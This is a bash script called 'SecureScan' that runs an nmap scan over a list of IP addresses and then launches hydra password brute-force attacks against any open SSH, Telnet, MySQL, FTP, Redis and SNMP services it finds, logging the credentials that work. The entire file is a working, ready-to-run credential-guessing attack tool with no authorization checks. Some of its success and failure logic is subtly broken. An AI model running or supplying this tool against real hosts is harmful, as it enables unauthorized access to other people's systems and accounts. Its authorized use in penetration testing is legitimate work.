#!/bin/bash

# SecureScan - Automated Network Service Password Brute-Force Tool
# Version 1.1

# CONFIGURATION_FILES=("scan_results.gnmap" "passwords.txt" "users.txt" "ip_list.txt" "tcp_ports.txt" "udp_ports.txt")
FILES="scan_results.gnmap passwords.txt users.txt ip_list.txt tcp_ports.txt udp_ports.txt"

TCP_PORTS="tcp_ports.txt"
UDP_PORTS="udp_ports.txt"
SCAN_RESULTS="scan_results.gnmap"
PASSWORDS="passwords.txt"
USERS="users.txt"
LOG_FILE="securescan_results.log"
IP_LIST="ip_list.txt"
PROGRAM_NAME="SecureScan"

# Function to print error messages and exit
error_exit() {
    echo "$PROGRAM_NAME Error: $1" >&2
    exit 1
}

# Check if required files exist and are readable
check_files() {
    for file in $FILES; do
        if [ ! -f "$file" ] || [ ! -r "$file" ]; then
            error_exit "File $file does not exist or is not readable."
        fi
    done

    # Check if files are empty (excluding empty lines)
    if [ ! -s "$IP_LIST" ] || [ $(grep -v '^[[:space:]]*$' "$IP_LIST" | wc -l) -eq 0 ]; then
        error_exit "IP list file is empty or contains only empty lines."
    fi

    # Check if at least one of the port files has valid content
    local tcp_count=$(grep -v '^[[:space:]]*$' "$TCP_PORTS" | wc -l)
    local udp_count=$(grep -v '^[[:space:]]*$' "$UDP_PORTS" | wc -l)

    if [ $tcp_count -eq 0 ] && [ $udp_count -eq 0 ]; then
        error_exit "Both TCP and UDP port files are empty or contain only empty lines."
    fi
}

# Clean and validate port lists
clean_port_list() {
    local file=$1
    local temp_file=$(mktemp)
    # Remove empty lines and comments, validate port numbers
    grep -v '^[[:space:]]*$' "$file" | grep -v '^#' | \
    while read -r port; do
        if [[ "$port" =~ ^[0-9]+$ ]] && [ "$port" -ge 1 ] && [ "$port" -le 65535 ]; then
            echo "$port"
        fi
    done > "$temp_file"
    cat "$temp_file" > "$file"
    rm -f "$temp_file"
}

# Initialize log file
init_log_file() {
    touch "$LOG_FILE" 2>/dev/null || error_exit "Unable to create or write to $LOG_FILE"
    true >"$LOG_FILE" # Clear the log file
}

perform_hydra_attack() {
    local ip=$1 service=$2 port=$3 protocol=$4 user_list=$5 password_list=$6
    echo "[$service] Scanning $ip:$port"

    local common_opts="-w 5 -q -f -t 10"
    local timeout_cmd="timeout 300"
    local attack_success=false

    # Debug log
    # echo "- Debug: perform_hydra_attack started for $service on $ip:$port"

    case "$service" in
    snmp)
        $timeout_cmd hydra -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE" &
        ;;
    redis)
        $timeout_cmd hydra -"$protocol" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>&1 | {
            while read line; do
                if [[ "$line" == *"does not require password"* ]]; then
                    echo "[$port][$service] host: $ip No password required." >>"$LOG_FILE"
                    attack_success=true
                    break
                fi
            done
        } &
        if ! grep -q "does not require password" "$LOG_FILE"; then
            $timeout_cmd hydra -"$protocol" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE" &
        fi
        ;;
    ftp)
        $timeout_cmd hydra -e n -"$protocol" -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE" &
        ;;
    *)
        $timeout_cmd hydra -"$protocol" -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE" &
        ;;
    esac

    # Only log a failure message if the attack was not successful
    if [[ "$attack_success" != "true" ]]; then
        if [[ $? -ne 0 ]]; then
            echo "Hydra attack on $ip:$port for service $service timed out or failed." >>"$LOG_FILE"
        fi
    fi
}

# Function to scan and brute force services
scan_and_attack() {
    local ip=$1
    local port_info_file=$(mktemp)

    grep "Ports:" "$SCAN_RESULTS" | grep "$ip" | sed 's/.*Ports: //g' | tr ',' '\n' >"$port_info_file"

    while IFS= read -r port_info; do
        local port=$(echo "$port_info" | awk -F'/' '{print $1}')
        local state=$(echo "$port_info" | awk -F'/' '{print $2}')
        local proto=$(echo "$port_info" | awk -F'/' '{print $3}')
        local service=$(echo "$port_info" | awk -F'/' '{print $5}')

        if [[ "$state" == "open" ]]; then
            case "$service" in
            ssh | telnet | mysql | ftp | redis | snmp)
                perform_hydra_attack "$ip" "$service" "$port" "$proto" "$USERS" "$PASSWORDS"
                ;;
            *)
                echo "[$service] No brute force attack configured for $ip:$port" >>"$LOG_FILE"
                ;;
            esac
        fi
    done <"$port_info_file"
    echo "----------------------------------------------------------">>"$LOG_FILE"

    rm -f "$port_info_file"
}

# Perform Nmap scan
perform_nmap_scan() {
    echo "----------------------------------------------------------"
    echo "Starting Nmap scan..."
    # Clean and validate port lists
    clean_port_list "$TCP_PORTS"
    clean_port_list "$UDP_PORTS"

    # Convert port lists to comma-separated format, ignoring empty lines
    tcp_ports=$(grep -v '^[[:space:]]*$' "$TCP_PORTS" | tr '\n' ',' | sed 's/,$//')
    udp_ports=$(grep -v '^[[:space:]]*$' "$UDP_PORTS" | tr '\n' ',' | sed 's/,$//')

    # Combine TCP and UDP ports into a single -p option
    if [ -n "$tcp_ports" ] && [ -n "$udp_ports" ]; then
        ports="-sU -p T:$tcp_ports,U:$udp_ports"
    elif [ -n "$tcp_ports" ]; then
        ports="-p $tcp_ports"
    elif [ -n "$udp_ports" ]; then
        ports="-sU -p U:$udp_ports"
    else
        error_exit "No valid ports specified in port files."
    fi
    echo "- Scanning the following ports:"
    [ -n "$tcp_ports" ] && echo "  TCP: $tcp_ports"
    [ -n "$udp_ports" ] && echo "  UDP: $udp_ports"
    echo "- Output will be saved to: ${SCAN_RESULTS}"
    echo "- Using IP list from: ${IP_LIST}"
    echo "----------------------------------------------------------"
    # Clean IP list file
    local temp_ip_file=$(mktemp)
    grep -v '^[[:space:]]*$' "$IP_LIST" | grep -v '^#' > "$temp_ip_file"

    echo "Debug: nmap -n -Pn -sS $ports -oG "${SCAN_RESULTS}" -iL "${IP_LIST}""
    nmap -n -Pn -sS $ports -oG "${SCAN_RESULTS}" -iL "${IP_LIST}" || {
        error_exit "Nmap scan failed"
    }
    echo "----------------------------------------------------------"
}

# Main function
main() {
    perform_nmap_scan

    check_files
    init_log_file

    echo "$PROGRAM_NAME: Starting scan process..."

    # Process each IP from the scan results
    awk '/Host:/ {print $2}' "$SCAN_RESULTS" | uniq | while read -r ip; do
        scan_and_attack "$ip"
        wait

    done

    # echo "$PROGRAM_NAME: All scans completed. Sorting results..."
    # sort -t'[' -k2,2 "$LOG_FILE" >"${LOG_FILE}.sorted"
    # if [[ -f "${LOG_FILE}.sorted" ]]; then
    #     mv "${LOG_FILE}.sorted" "$LOG_FILE"
    # else
    #     error_exit "Failed to sort results."
    # fi

    echo "$PROGRAM_NAME: All scans completed. Results saved in $LOG_FILE"
}
# Set up signal handling
cleanup() {
    echo "$PROGRAM_NAME: Cleaning up..."
    pkill -P $$ # Kill all child processes
    exit 0
}

# Run main function and trap for cleanup
trap 'echo "$PROGRAM_NAME: Exiting..."; exit 0' EXIT INT TERM
main

echo "$PROGRAM_NAME: Program completed successfully."